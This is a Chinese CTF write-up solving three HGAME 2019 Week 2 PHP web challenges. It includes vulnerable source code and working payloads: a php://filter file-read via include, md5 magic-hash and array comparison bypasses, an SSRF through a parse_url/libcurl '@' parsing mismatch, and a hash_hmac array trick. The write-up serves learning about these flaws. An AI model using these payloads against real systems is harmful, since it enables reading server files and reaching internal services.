HGAME 2019 Week2

HGAME 2019 Week2

1、easy_php

查看robots.txt,发现img/index.php,访问,得到源码:

<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
    $img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

利用php伪协议和一个简单的绕过就可以读到flag:

9.png

flag:hgame{You_4re_So_g0od}

2、php trick

写wp的时候环境已经坏了orz 最后的payload是:

http://118.24.3.214:3001/?str1=QNKCDZO&str2=240610708&str3[]=1&str4[]=2&H.game[]=&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/convert.base64-encode/resource=flag.php

Copy official's writeup:
第一步弱类型比较:
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
php > var_dump(md5('240610708') == md5('QNKCDZO'));
bool(true)bool(true)
第二步数组绕过:
php > var_dump(md5([2]) === md5([1]));
Warning: md5() expects parameter 1 to be string, array
given in php shell code on line 1
Warning: md5() expects parameter 1 to be string, array
given in php shell code on line 1
bool(true)bool(true)
第三步php解析问题:
php在解析时会把+和.解析成_ ,然而绕过.
第四步数组绕过:
php > $str[]=1;
php > var_dump(is_numeric($str));
bool(false)
php > var_dump($str<999999999);
bool(false)
php > var_dump((string)$str >0);
bool(false)
第五步利用libcurl和parse_url解析差异造成ssrf:
parse_url获取的host是最后一个@之后的,而libcurl是获取第一个@之后的,新版本curl修复漏洞但是解析差异仍然存在。

10.png

url=http://@127.0.0.1:80@www.baidu.com/admin.php访问admin.php

第六步利用file_get_contents和file_exists判断存在差异绕过:
前者会将路径转化为绝对路径而后者不会。
filename=xxxx/../flag.php
利用伪协议也可以绕过:
filename=php://filter/resource=flag.php

3、PHP Is The Best Language

利用到科学计数法以及hash_hmac()处理数组时会返回null.

给出了源码:

<?php  

include 'secret.php'; 

#echo $flag; 
#echo $secret; 

if (empty($_POST['gate']) || empty($_POST['key'])) { 
    highlight_file(__FILE__); 
    exit; 
} 

if (isset($_POST['door'])){ 
    $secret = hash_hmac('sha256', $_POST['door'], $secret); 
} 

$gate = hash_hmac('sha256', $_POST['key'], $secret); 

if ($gate !== $_POST['gate']) { 
    echo "Hacker GetOut!!"; 
    exit; 
} 

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { 
    echo "Wow!!!"; 
    echo "</br>"; 
    echo $flag; 
} 
else { 
    echo "Hacker GetOut!!"; 
} 

?> 

刚开始看来不知道初始的$cecret似乎无法绕过,但是 hash_hmac()函数存在问题:

hash_hmac ( string $algo , string $data , string $key [,
bool $raw_output = FALSE ] ) : string

函数是把$key当做密钥,利用$algo的方式加密$data,当$data为数组的时候返回null.
看源代码,当我们传入的door为数组时,会返回null,与密钥无关,无需知道密钥,那么第二步的密钥就变成了null,可以绕过。相当于用null给我们传入的$key加密:

11.png

绕过 MD5相等也很简单,只需要知道到一个值使其满足0e类科学计数法形式即可。运气比较好用博客地址绕过了。。。

最后的paylaod:

door[]=&key=virtua1.cn&gate=7838f40fd206d27ef5f65b40e68ad9af5881785b62bd624b997d148d05c578d5

flag:hgame{Php_MayBe_Not_Safe}

4、Baby_Spider(待更新)

5、Math有趣(待更新)

1 + 5 =
快来做第一个评论的人吧~